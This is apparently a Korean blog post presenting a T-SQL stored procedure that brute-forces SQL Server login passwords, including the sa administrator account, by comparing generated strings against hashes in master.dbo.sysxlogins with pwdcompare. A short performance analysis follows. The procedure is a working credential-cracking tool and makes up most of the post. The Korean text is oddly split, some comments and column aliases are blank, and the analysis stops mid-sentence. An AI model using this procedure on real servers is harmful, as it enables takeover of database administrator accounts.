mssql 저장 프로 세 스 를 사용 하여 sa 암 호 를 해독 합 니 다.

코드 는 관리자 계 정 sa 의 비밀 번 호 를 포함 하여 MSSQL 의 계 정과 비밀 번 호 를 폭력 적 으로 해독 하 는 것 을 보 여 줍 니 다.
인터넷 에 SQL Server Sa 암호 해독 의 저장 과정 이 있 습 니 다.방법 은 MSSQL 의 계 정과 비밀 번 호 를 폭력 적 으로 해독 하 는 것 입 니 다.관리자 계 정 sa 의 비밀 번 호 를 포함 하여 다른 코드 를 약간 수정 하고 성능 분석 을 했 습 니 다.
먼저 프로그램의 핵심 사상 을 풀 어 본 것 은 계 정 비밀 번 호 를 저장 하 는 master.dbo.sysxlogins 표 와 공개 되 지 않 은 비밀 번 호 를 비교 저장 하 는 과정 pwdcompare 입 니 다.한 측의 분석 을 통 해 일부 코드 를 수 정 했 고 아래 에 수정 전후의 코드 를 붙 였 다.
SQL Server Sa 암호 해독 의 저장 과정
 다음은 제 가 수정 한 코드 입 니 다.
나 는 다음 과 같이 테스트 한다

alter proc p_GetPassword
    @username sysname=null, -- , ,
    @pwdlen int=2 -- , 2
as
    set @pwdlen=case when isnull(@pwdlen,0)<1 then 1 else @pwdlen-1 end
    select top 255 id=identity(int,0,1) into #t from syscolumns
    alter table #t add constraint PK_#t primary key(id)
    select name,password
        ,type=case when xstatus&2048=2048 then 1 else 0 end
        ,jm=case when password is null then 1 else 0 end
        ,pwdstr=cast('' as sysname)
        ,pwd=cast('' as varchar(8000))
        into #pwd
    from master.dbo.sysxlogins a
    where srvid is null
        and name=isnull(@username,name)
    declare @s1 varchar(8000),@s2 varchar(8000),@s3 varchar(8000)
    declare @l int
    select @l=0
        ,@s1='char(aa.id)'
        ,@s2='cast(aa.id as varchar)'
        ,@s3=',#t aa'
    exec('
        update pwd set jm=1,pwdstr='+@s1+'
        ,pwd='+@s2+'
        from #pwd pwd'+@s3+'
        where pwd.jm=0
        and pwdcompare('+@s1+',pwd.password,pwd.type)=1
        ')
    while exists(select 1 from #pwd where jm=0 and @l<@pwdlen)
    begin
        select @l=@l+1
        ,@s1=@s1+'+char('+char(@l/26+97)+char(@l%26+97)+'.id)'
        ,@s2=@s2+'+'',''+cast('+char(@l/26+97)+char(@l%26+97)+'.id as varchar)'
        ,@s3=@s3+',#t '+char(@l/26+97)+char(@l%26+97)
        exec('
        update pwd set jm=1,pwdstr='+@s1+'
        ,pwd='+@s2+'
        from #pwd pwd'+@s3+'
        where pwd.jm=0
        and pwdcompare('+@s1+',pwd.password,pwd.type)=1
        ')
    end
    select =name, =pwdstr, ASCII=pwd
    from #pwd
GO
성능 분석:
이 예 는 하나의 조회 로 bigint 의 최대 값 기록 92233736854775807 을 조회 할 수 있 는 것 을 호스트 의 최대 성능 으로 하여 분해 성능 을 대충 계산 합 니 다.
한 계 정의 암호 길이,해독 시간 과 성능 소 모 는 해독 에 사용 되 는 모든 문자 길 이 를 바탕 으로 암호 길 이 를 지수 로 하 는 지수 함수 입 니 다.즉,해독 계 정 개수*(해독 에 사용 되 는 모든 문자 개수)의 최 장 암호 길이 차방<호스트 최대 성능:
원래 저장 과정 에서 256 개의 해독 문 자 를 사용 하면 이론 적 으로 7 개의 암호,즉 2567

좋은 웹페이지 즐겨찾기